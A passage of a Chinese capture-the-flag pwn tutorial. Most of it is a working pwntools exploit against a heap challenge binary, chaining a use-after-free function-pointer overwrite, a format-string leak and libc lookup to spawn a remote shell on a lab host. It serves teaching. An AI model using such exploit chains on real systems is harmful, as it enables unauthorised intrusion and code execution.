free(ptr) -> puts(ptr->buffer和后面覆蓋的puts地址)
打印出了puts_addr地址,然后通過計算偏移得到二進制基址,如下:
bin_base_addr = puts_addr - offset
然后利用二進制基址算出二進制自帶的 printf 真實地址,再次利用格式化字符漏洞實現任意地址讀寫。 如下是得到printf 真實地址 printf_addr后利用格式化字符漏洞實現任意地址讀寫的測試過程,我們輸出10個%p 也就打印了堆棧前幾個數據值。然后找到了 arg9 為我們能夠控制的數據,所以利用腳本里printf輸出參數變成了 "%9$p",讀取第九個參數。
delete(0) payload = 'a%p%p%p%p%p%p%p%p%p%p'.ljust(0x18, '#') + p64(printf_addr) # 覆蓋chunk1的 free函數-> printf create(0x20, payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1) + '\n') p.recvuntil("?:") p.send("yes.1111" + p64(addr) + "\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4]
IDA調試時內存數據為如下:
0000560DFCD3C000 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1....... 0000560DFCD3C010 40 C0 D3 FC 0D 56 00 00 00 00 00 00 00 00 00 00 @....V.......... 0000560DFCD3C020 1E 00 00 00 00 00 00 00 6C CD 7C FB 0D 56 00 00 ........l....V.. 0000560DFCD3C030 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1....... 0000560DFCD3C040 61 25 70 25 70 25 70 25 70 25 70 25 70 25 70 25 a%p%p%p%p%p%p%p% 0000560DFCD3C050 70 25 70 25 70 23 23 23 D0 C9 7C FB 0D 56 00 00 p%p%p###..|..V.. 00007FFE50BF9630 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ................ 00007FFE50BF9640 79 65 73 2E 31 31 31 31 00 60 8C 2B 45 56 00 00 yes.1111.`.+EV.. 00007FFCA59554F8 0000560DFB7CCE95 delete_sub_D95+100 00007FFCA5955500 0000000000000000 00007FFCA5955508 0000000100000000 arg7 00007FFCA5955510 313131312E736579 arg8 00007FFCA5955518 0000560DFB7CC000 LOAD:0000560DFB7CC000 # arg9 讀取這個 arg9 所以這里選擇 %9$s 00007FFCA5955520 000000000000000A 00007FFCA5955528 0000560DFB7CCA50 start 00007FFCA5955530 00007FFCA5955D90 [stack]:00007FFCA5955D90
利用格式化字符串漏洞實現任意地址后,讀取兩個libc函數然后確定libc版本,獲取對應libc版本的system_addr
#!/usr/bin/python # -*- coding: UTF-8 -*- from pwn import * context.log_level = 'debug' # target = process('pwn-f') p = remote('172.16.36.176', 10003) elf = ELF("./pwn-f") libc_elf = ELF("./libc-2.23.so") def create(size, string): p.recvuntil('3.quit') p.sendline('create ') p.recvuntil('size:') p.sendline(str(size)) p.recvuntil('str:') p.send(string) def delete(id): p.recvuntil('3.quit') p.sendline('delete ') p.recvuntil('id:') p.sendline(str(id)) p.recvuntil('sure?:') p.sendline('yes') def leak(addr): global printf_addr delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4] if len(data) == 0: return '\x00' if len(data) <= 8: log.info("{}".format(hex(u64(data.ljust(8,'\x00'))))) return data def main(): global printf_addr #step 1 create & delete create(4,'aaaa') create(4,'bbbb') delete(1) delete(0) #step 2 recover old function addr pwn = ELF('./pwn-f') payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'# recover low bits,the reason why i choose \x2d is that the system flow decide by create(0x20,payload) # 申請大于0xf的內存會多申請一次 占位chunk0 和 chunk1,申請的內容覆蓋 chunk1->#調用的是之前留下的chunk1 然后被覆蓋 delete(1) # call free -> call _puts #step 3 leak base addr p.recvuntil('b'*0x10) data = p.recvuntil('\n')[:-1] if len(data)>8: data=data[:8] data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addr pwn_base_addr = data - 0xd2d # 減去二進制base log.info("pwn_base_addr : {}".format(hex(pwn_base_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用 # free -> printf # 我們首先create字符串調用delete 此時freeshort地址變成了printf,可以控制打印 #step 4 get printf func addr printf_plt = pwn.plt['printf'] printf_addr = pwn_base_addr + printf_plt #get real printf addr log.info("printf_addr : {}".format(hex(printf_addr))) delete(0) #step 5 leak system addr create(0x20,payload) # 繼續調用 free -> puts delete(1) #this one can not be ignore because DynELF use the delete() at begin # 泄露malloc_addr delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(elf.got["malloc"] + pwn_base_addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4] malloc_addr = u64(data.ljust(8,"\x00")) log.info("malloc_addr : {}".format(hex(malloc_addr))) # 泄露 puts_addr delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(elf.got["puts"] + pwn_base_addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4] puts_addr = u64(data.ljust(8,"\x00")) log.info("puts_addr : {}".format(hex(puts_addr))) # 通過兩個libc函數計算libc ,確定system_addr from LibcSearcher import * obj = LibcSearcher("puts", puts_addr) obj.add_condition("malloc", malloc_addr) # obj.selectin_id(3) libc_base = malloc_addr-obj.dump("malloc") system_addr = obj.dump("system")+libc_base # system 偏移 log.info("system_addr : {}".format(hex(system_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用 #step 6 recover old function to system then get shell delete(0) create(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr)) # attention /bin/bash; i don`t not why add the ';' delete(1) p.interactive() if __name__ == '__main__': main()
“Linux pwn入門知識點有哪些”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。